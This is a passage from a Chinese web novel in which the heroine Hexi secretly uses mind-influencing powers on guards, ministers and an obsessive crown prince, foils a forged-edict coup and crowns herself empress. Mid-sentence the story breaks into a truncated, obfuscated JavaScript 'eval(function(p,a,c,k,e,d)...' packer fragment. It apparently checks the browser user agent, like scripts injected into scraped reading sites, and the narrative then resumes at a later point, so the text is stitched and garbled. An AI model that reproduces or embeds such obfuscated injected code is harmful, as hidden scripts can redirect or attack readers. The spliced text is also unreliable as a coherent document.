没过多久,萧玦便下令拆除了暖阁的鎏金栅栏,允许赫希在东宫的范围内自由活动,甚至在她的“建议”下,同意让她参与到一些简单的政务处理中——比如批阅赈灾粮款的奏折,拟定后宫采买的清单。萧玦觉得,这是他对赫希“信任”的表现,却不知道,赫希早已借着这些机会,开始熟悉大靖的朝政运作,记下那些手握重权的朝臣姓名与他们的派系归属。 同时,赫希也没有停下对“精神荆棘”能力的运用。她借着“感谢暗卫保护”的名义,时常给守卫在东宫的暗卫们送去茶水与点心。在递出茶杯的瞬间,她会将一丝微弱的“服从”情绪,通过指尖的精神荆棘注入对方的意识中。这种影响极其细微,甚至连暗卫自己都没有察觉,只觉得对这位“储君妃”越来越敬重,越来越愿意听从她的吩咐。 有一次,萧玦因为赫希与兵部尚书多说了几句话而暴怒,下令禁止赫希再与任何朝臣接触。可第二天,就有暗卫“不小心”将兵部尚书递上来的、关于边境布防的密报,错送到了赫希的手中。赫希看完密报后,又趁着给萧玦送宵夜的机会,将密报中的关键信息,以“闲聊”的方式透露给了他,还“无意”中提出了几个关于边境防御的建议,这些建议恰好切中要害,让萧玦对她更加“刮目相看”,也让他更加坚信,赫希是“懂他”的,是能在政务上帮助他的。 萧玦对这一切毫无察觉,他沉浸在自己构建的“甜蜜假象”中,每天最期待的事情,就是处理完政务后,回到暖阁,看到赫希在灯下看书的身影。他会从身后轻轻抱住她,给她带来城西那家最有名的芙蓉糕,听她讲书中的故事,规划着登基后如何给她举办最盛大的封后大典,如何将天下最好的东西都送到她面前。 赫希耐心地听着,偶尔会顺着他的话,描绘一下封后大典的场景,眼底却始终保持着冷静的审视。她知道,萧玦的这些“承诺”,不过是偏执者的自我感动,一旦她表现出任何“背叛”的迹象,这些甜蜜就会瞬间化作最刺骨的毒药。而她现在要做的,就是在这份“甜蜜”彻底变质前,完成自己的布局。 借着参与政务的机会,赫希开始频繁地接触朝中大臣。面对刚正不阿、心系百姓的老臣,比如户部尚书张大人,她会在与对方讨论赈灾事宜时,通过“精神荆棘”悄悄注入“储君年轻气盛,需有贤内助从旁辅佐,方能避免决策失误”的意识;面对趋炎附势、只重利益的官员,比如礼部侍郎李大人,她则会强化“追随赫姑娘,未来必能得到重用”的执念,让对方在不知不觉中,将她视为未来的“靠山”。 除此之外,赫希还通过被她影响的暗卫,悄悄联系上了父亲赫将军当年的旧部。她拿着父亲留下的半块兵符,在东宫的偏殿里见到了当年跟随父亲征战沙场的老将——周将军。 周将军看着赫希手中的兵符,又看了看眼前这位眉眼间与赫将军有几分相似的少女,眼眶瞬间红了:“大小姐,没想到有生之年,还能见到您。将军当年……是被冤枉的啊!” 赫希的指尖微微颤抖,却很快恢复了冷静。她将这些年收集到的、关于父亲被诬陷的证据,递给周将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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果然,在先帝驾崩的前一夜,影一带着一队禁军闯入了东宫。他手中举着一份明黄色的卷轴,声称是先帝的“遗诏”,声音冰冷地说道:“储君萧玦,私通外敌,囚禁罪臣之女,意图谋反,罪证确凿!先帝临终前留有遗诏,废黜萧玦储位,改立三皇子赵瑜为新帝!来人,将萧玦拿下,打入天牢!” 萧玦看着影一手中的遗诏,又看了看他身后持刀的禁军,眼底瞬间燃起浓烈的杀意,他抽出腰间的佩剑,就要冲上去:“影一!你竟敢伪造遗诏,背叛我!我杀了你!” 赫希连忙上前,一把拉住萧玦的手臂。她看着影一身后那些神色紧绷的禁军,指尖的精神荆棘悄然凝聚,这些禁军都是皇城守卫的精锐,平日里只听先帝与禁军统领的号令,如今却跟着影一闯入东宫,显然是被影一用“先帝密令”或是某种伪造的信物所蒙骗。 而影一的眼底,除了强装的“忠诚”,那抹被胁迫的“恐惧”几乎要溢出来,想来是有人拿他在意的人或事作为要挟,逼他走上这条背叛之路。 “影一,你手中的遗诏,是赵瑜让你伪造的吧?”赫希的声音平静却带着不容置疑的力量,她往前走了一步,目光锐利地扫过影一,“先帝三天前还与萧玦在御书房商议过登基后的政务安排,甚至还亲手将先帝御笔的‘承嗣’二字交给了萧玦,怎么会突然留下这样一份漏洞百出的遗诏?你以为,凭着几句谎话,就能让这些禁军将士背弃先帝选定的储君吗?” 说着,赫希从怀中取出一块玉佩,这是三日前萧玦兴奋地交给她保管的,玉佩正面刻着先帝的御印,背面是“承嗣”二字,正是先帝用来确认储君身份的信物。她将玉佩高高举起,对着那些禁军说道:“你们看清楚,这是先帝亲手交给储君的承嗣玉佩,这才是先帝选定继承人的铁证!影一手中的遗诏,连先帝的骑缝章都没有,分明是伪造的!你们身为皇城禁军,难道要助纣为虐,违背先帝的遗愿吗?” 禁军们的脸色瞬间变了,纷纷看向影一手中的遗诏,又看了看赫希手中的玉佩,眼神中充满了犹豫与怀疑。他们都是常年守卫皇城的人,对先帝的御印与骑缝章再熟悉不过,此刻仔细一看,影一手中的遗诏果然没有骑缝章,纸张的质地也与真正的圣旨相差甚远。 影一的脸色瞬间惨白,他握着遗诏的手开始颤抖,却依旧强撑着喊道:“别听她胡说!这玉佩是伪造的!先帝的遗诏就在这里,你们若是抗命,就是株连九族的大罪!” 可那些禁军将士们已经开始动摇,有人悄悄放下了手中的长枪,看向影一的眼神也多了几分警惕。他们深知,违背先帝遗愿与助纣为虐,哪一个的罪名更重,若是真的抓了先帝选定的储君,日后事情败露,等待他们的只会是满门抄斩。 混乱中,一名禁军小校突然开口:“影统领,末将斗胆问一句,这遗诏上为何没有先帝的骑缝章?而且,先帝病重多日,早已无法提笔,这遗诏上的字迹,虽模仿先帝的笔锋,却少了几分先帝晚年的苍劲,倒多了几分刻意的工整——这分明是旁人仿写的!” 这话如同惊雷,瞬间炸响在禁军之中。越来越多的将士放下了长枪,看向影一的眼神从犹豫变成了敌意。影一踉跄着后退两步,肩膀撞到身后的廊柱,手中的遗诏“哗啦”一声掉在地上。他猛地抬头,看向赫希,眼底的“恐惧”终于彻底暴露:“是赵瑜……是赵瑜用我妻儿的性命要挟我!他说只要我拿到储君,帮他登基,就放了我的家人……我也是被逼的!” 19. 斯德哥尔摩综合症图鉴7(结束) 赫希看着他崩溃的模样,指尖的精神荆棘悄然收起,她要的不是赶尽杀绝,而是借这场混乱,彻底打破萧玦在朝臣心中的“完美储君”形象。她上前一步,声音带着恰到好处的悲悯:“影一,你糊涂!赵瑜本就是罪臣余孽,他的承诺如何能信?今日你若真的抓了储君,他日他登基,第一个要杀的就是你这个知情人!” 话音刚落,东宫门外突然传来一阵急促的马蹄声,是周将军带着军中旧部赶来了。周将军身披铠甲,手持长枪,身后跟着数百名全副武装的士兵,气势汹汹地冲进东宫,将影一与剩下的禁军团团围住:“奉赫姑娘令,拿下叛徒影一,保护储君安全!” 影一看着眼前的阵仗,彻底瘫倒在地,双手抱头,发出绝望的呜咽。萧玦站在一旁,握着佩剑的手微微颤抖,眼底满是茫然。 他从未见过这样的场面,从未想过自己最信任的暗卫会背叛自己,更没想过,在这场混乱中,站出来掌控全局的,竟然是他一直视为“柔弱珍宝”的赫希。 赫希转身看向萧玦,眼底带着一丝“担忧”:“殿下,您没事吧?方才真是吓坏我了。幸好周将军及时赶到,不然……” 萧玦看着她眼中的“后怕”,心中涌起一阵愧疚与依赖,他上前一步,想要握住赫希的手,却被赫希不着痕迹地避开。他的手僵在半空,眼底闪过一丝疑惑,却很快被“是自己吓到她了”的念头取代:“希儿,别怕,有我在。” 赫希没有接话,只是对着周将军使了个眼色。周将军会意,立刻下令将影一与被蒙骗的禁军押下去,等候发落。东宫的混乱渐渐平息,可这场“遗诏风波”,却像一颗石子,在京城的朝堂上激起了千层浪。 第二日清晨,先帝驾崩的消息传遍了京城。按照礼制,储君萧玦本该在灵前继位,可昨夜的“影一叛乱”却让朝臣们对他产生了质疑,一个连自己身边暗卫都管不住的储君,真的能掌控好整个大靖吗? 灵堂外,朝臣们分成了两派,争论不休。户部尚书张大人带头跪在灵前,声泪俱下:“先帝驾崩,国不可一日无君!储君虽有波折,但终究是先帝选定的继承人,恳请储君即刻登基,以安民心!” 可礼部侍郎李大人却立刻反驳:“张大人此言差矣!昨夜影一带着禁军闯入东宫,若不是赫姑娘机智应对,后果不堪设想!储君连自身安全都无法保障,又如何能保障大靖的江山?依我看,不如先由赫姑娘暂代朝政,待选出合适的继承人后,再行登基大典!” 李大人的话,恰好说出了许多朝臣的心声。昨夜赫希在东宫的表现,早已通过暗卫与禁军之口传遍了朝堂,她临危不乱,识破伪造遗诏,还能调动军中旧部,这份胆识与能力,比萧玦这位“偏执储君”更让人心安。 萧玦站在灵堂内,听着外面的争论声,眼底的疯狂再次燃起。他猛地抽出腰间的佩剑,就要冲出去斩杀那些质疑他的朝臣,却被赫希再次拉住。 “殿下,不可!”赫希的声音带着一丝严厉,指尖的精神荆棘悄然缠绕上他的手腕,“先帝灵前,岂能刀剑相向?你若此刻动手,只会坐实朝臣们的质疑,让赵瑜的余党有机可乘!” 萧玦看着赫希眼底的“坚定”,又看了看灵前先帝的牌位,手中的佩剑“哐当”一声掉在地上。他的肩膀微微颤抖,眼底满是委屈与不甘:“可他们质疑我!他们不信我!希儿,连你也觉得我不行吗?” 赫希看着他这副模样,心中冷笑,面上却露出温柔的神色。她上前一步,轻轻抱住萧玦,用我妻由乃的“执念共鸣”,将“只有让赫希暂代朝政,才能稳住局面,日后你才能重新掌权”的念头植入他的意识:“殿下,我不是觉得你不行,而是现在的局面,需要一个冷静的人来稳住。你是未来的帝王,不能因为一时的冲动,毁了自己的前程。不如……就让我暂时替你处理朝政,等局面稳定后,我再把权力还给你,好不好?” 萧玦被“执念共鸣”影响,又被赫希的“温柔”包裹,渐渐放下了心中的不甘。他点了点头,声音带着一丝依赖:“好,我听你的。但你要答应我,不能离开我,等局面稳定后,一定要把权力还给我。” “我答应你。”赫希的声音温柔得能滴出水来,眼底却没有丝毫温度。 当日午时,赫希身着绣着凤凰的玄色朝服,手持先帝御赐的承嗣玉佩,一步步走上金銮殿。她的身后,跟着周将军与军中旧部,还有那些被她用“精神荆棘”影响的朝臣。 “先帝驾崩,储君因昨夜叛乱受惊,需静养调理,”赫希的声音清亮如钟,响彻整个金銮殿,“国不可一日无君,今有先帝承嗣玉佩为证,又有军中旧部与朝臣支持,我赫希,愿暂代大靖帝位,待储君康复,再议禅让之事!” 话音刚落,周将军率先单膝跪地,高声喊道:“臣等遵旨!恭请陛下登基!” 紧接着,户部尚书张大人、礼部侍郎李大人等朝臣纷纷跪倒在地,山呼“万岁”。那些原本还在犹豫的官员,看着殿外手持长枪的士兵,又看了看赫希眼中的锐利,也只能跟着跪倒在地——他们知道,大势已去,赫希已经掌控了整个朝堂。 萧玦被安置在东宫的暖阁中,由暗卫“精心看管”。他站在窗边,看着金銮殿的方向,眼底满是茫然与偏执。他偶尔会想起赫希答应过“会把权力还给我”,却不知道,这不过是赫希为了稳住他而编织的谎言。 登基大典在三日后举行。赫希身着十二章纹的衮龙袍,头戴帝冕,一步步走上天坛。她的指尖缠绕着淡紫色的精神荆棘,人偶之眼扫过下方的万民,眼底是属于帝王的冷静与决绝。当司仪高喊“陛下万岁万岁万万岁”时,她的嘴角勾起一抹冷冽的笑容,从今日起,她不再是那个为了模拟病症而伪装的棋子,而是手握双能、掌控天下的女皇。 大典结束后,赫希回到金銮殿,坐在冰冷的龙椅上。她看着手中的玉玺,又看了看阶下跪拜的朝臣,指尖的精神荆棘与执念共鸣悄然流转。 “传朕旨意,”赫希的声音带着不容置疑的威严,“彻查当年赫将军被诬陷一案,为其洗刷冤屈,追封护国大将军;将萧玦贬为‘靖安王’,囚禁于东宫,非朕旨意,不得踏出东宫半步;影一虽为胁迫,却仍有背叛之罪,免去死罪,流放三千里;其余参与叛乱的禁军,既往不咎,仍归皇城守卫统领。” 朝臣们纷纷领旨,心中对这位新帝的“仁明”与“果断”更加敬畏。他们不知道,赫希的每一道旨意,都经过了精心的算计,为父亲洗刷冤屈,是为了拉拢军中旧部;囚禁萧玦,是为了彻底消除隐患;从轻发落影一与禁军,是为了稳定人心。 夜幕降临,金銮殿的烛火摇曳。赫希坐在龙椅上,看着案几上的奏折,指尖轻轻划过“赫希”二字。她的人偶之眼缓缓闭合,我妻由乃的执念共鸣与水银灯的精神荆棘渐渐收敛——这个世界的任务已经完成,而她的帝王之路,才刚刚开始。 窗外,月光洒在宫殿的琉璃瓦上,泛着冰冷的光泽。赫希知道,成为女皇,只是她的第一步。接下来,她要做的,是用手中的双能,整顿朝纲,安抚百姓,让大靖的江山变得更加稳固。而那些曾经试图囚禁她、利用她的人,都将成为她帝王路上的垫脚石,永远消失在历史的尘埃中。 金銮殿内,龙椅之上,赫希的身影在烛火中显得格外挺拔。她的眼中,没有了过去的伪装与冷静,只剩下属于帝王的锐利与决绝,从今日起,大靖的命运,由她主宰;而那些觉醒的双能,将成为她守护这份权力,乃至征服更多可能的最强武器。 赫希的目光扫过阶下肃立的朝臣,指尖无意识地摩挲着龙椅扶手,那冰凉的触感,让她更加清醒地意识到,自己此刻拥有的权力,绝非侥幸。她缓缓开口,声音褪去了往日的温顺,多了几分帝王的威严:“诸位大人,先帝骤崩,朝野动荡,朕暂代帝位,非为一己之私,实为稳定江山。即日起,凡有妄议储君、散播谣言者,以谋逆论处;凡心系百姓、愿为大靖效力者,朕必不拘一格,予以重用。” 话音落下,殿内鸦雀无声。户部尚书张大人率先出列,躬身行礼:“陛下圣明!臣愿竭尽所能,辅佐陛下,共安天下!”其余朝臣见状,纷纷效仿,一时间,金銮殿内再次响起整齐的“陛下万岁”之声。 赫希微微颔首,目光落在兵部尚书身上:“兵部尚书,边境之事,近日可有异动?” 兵部尚书连忙出列,拱手回道:“回陛下,漠北近日虽有小股骑兵骚扰边境,但并无大规模异动。只是……臣听闻,赵瑜余党在漠北仍有联络,恐有后患。” 赫希眼底闪过一丝锐利:“此事朕已知晓。传朕旨意,命周将军率三万精兵,即刻前往边境,加强防御;同时,令锦衣卫彻查赵瑜余党,凡与漠北勾结者,格杀勿论!” “臣遵旨!”周将军与锦衣卫统领同时出列,沉声领旨。 处理完政务,朝臣们陆续退下。金銮殿内只剩下赫希一人,她起身走到殿外,望着远处的宫墙,那曾是困住她的牢笼,如今却成了她俯瞰天下的基石。指尖的精神荆棘悄然浮现,在月光下泛着淡紫色的光泽,她能清晰地感受到,整个皇宫的情绪脉络都在她的掌控之中:暗卫的忠诚、宫女的敬畏、朝臣的忌惮……这就是权力的滋味,比她想象中更加令人着迷 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周将军恍然大悟,躬身行礼:“陛下深谋远虑,臣不及也。” 送走周将军后,赫希回到御书房,看着案几上的奏折,陷入了沉思。成为女皇的日子里,她每天都在处理政务,利用“执念共鸣”捕捉朝臣的心思,用“精神荆棘”悄无声息地化解潜在的危机。她发现,这两种能力不仅能用于掌控人心,还能在处理政务时发挥意想不到的作用,比如,在批阅赈灾奏折时,她能通过“执念共鸣”感受到灾民的苦难,从而制定出更贴合实际的赈灾方案;在与朝臣商议政策时,她能通过“精神荆棘”察觉谁在敷衍、谁在真心献策。 可就在她以为一切都在掌控之中时,东宫传来了消息——萧玦疯了。 赫希赶到东宫时,看到的是一片狼藉。萧玦穿着破旧的龙袍,头发散乱,正拿着一支毛笔,在墙上胡乱涂鸦,口中念念有词:“希儿是我的……江山是我的……你们都别想抢……” 他看到赫希走进来,眼中瞬间爆发出疯狂的光芒,冲上前想要抓住她,却被守在一旁的暗卫拦住。萧玦挣扎着,嘶吼着:“希儿!你回来!你答应过我的,要和我一起看黄河落日,要做我的皇后!你为什么要骗我!” 赫希看着他这副模样,心中没有丝毫波澜。她走到萧玦面前,指尖的精神荆棘悄然缠绕上他的手腕,一丝“平静”的情绪注入他的意识。萧玦的挣扎渐渐停止,眼中的疯狂被茫然取代,他呆呆地看着赫希,喃喃自语:“希希……” “萧玦,”赫希的声音冰冷如霜,“你记住,从你把我关在暖阁,试图用权力捆绑我的那一刻起,你就失去了所有资格。这江山,是我亲手夺来的;我自己的命运,也由我自己掌控。你曾经给我的‘金丝笼’,如今,该轮到你自己住了。” 说完,她转身离开,再也没有回头。身后传来萧玦撕心裂肺的哭喊,却无法在她心中激起一丝涟漪,对她而言,萧玦不过是她完成任务、夺取权力的垫脚石,如今任务完成,他的存在,早已没有任何意义。 兀统兴奋道:哇塞宿主,我才一会没关注你,你和目标的关系就已经两级反转了吗。 赫希:是啊,我不会一直处在低位……他与我而言也没有用了我也不屑于与他玩过家家的扮演游戏了…… 回到御书房,赫希接到了锦衣卫送来的密报,赵瑜在流放途中,试图勾结押送的侍卫逃跑,被当场斩杀。赫希看着密报上的“已处置”三个字,轻轻将密报放在烛火上点燃。火焰吞噬着纸张,也吞噬着这个世界最后的隐患。 日子一天天过去,赫希的统治越来越稳固。她整顿吏治,减免赋税,鼓励农桑,大靖的百姓渐渐过上了安稳的生活。朝臣们对这位年轻的女皇愈发敬畏,军中旧部也对她忠心耿耿。她偶尔会站在皇宫的最高处,俯瞰着脚下的江山,感受着手中权力的重量——这是她用智慧与能力换来的,也是她应得的。 这日,赫希在御花园中散步,看着满园盛开的牡丹,指尖的精神荆棘与执念共鸣悄然流转。她突然意识到,自己早已不再是那个为了完成模拟任务而穿梭于各个世界的“过客”,在这个世界,她有了自己的权力,有了自己的子民,有了属于自己的帝王之路。 或许,她可以在这里停下脚步,用手中的双能,守护好这片土地,让大靖的盛世,延续下去。 金銮殿上的龙椅依旧冰冷,可坐在上面的赫希,却早已不再是那个需要伪装的“猎物”。她是大靖的女皇,是手握双能、掌控天下的统治者。她的故事,才刚刚开始;而这个世界的未来,将由她亲手书写。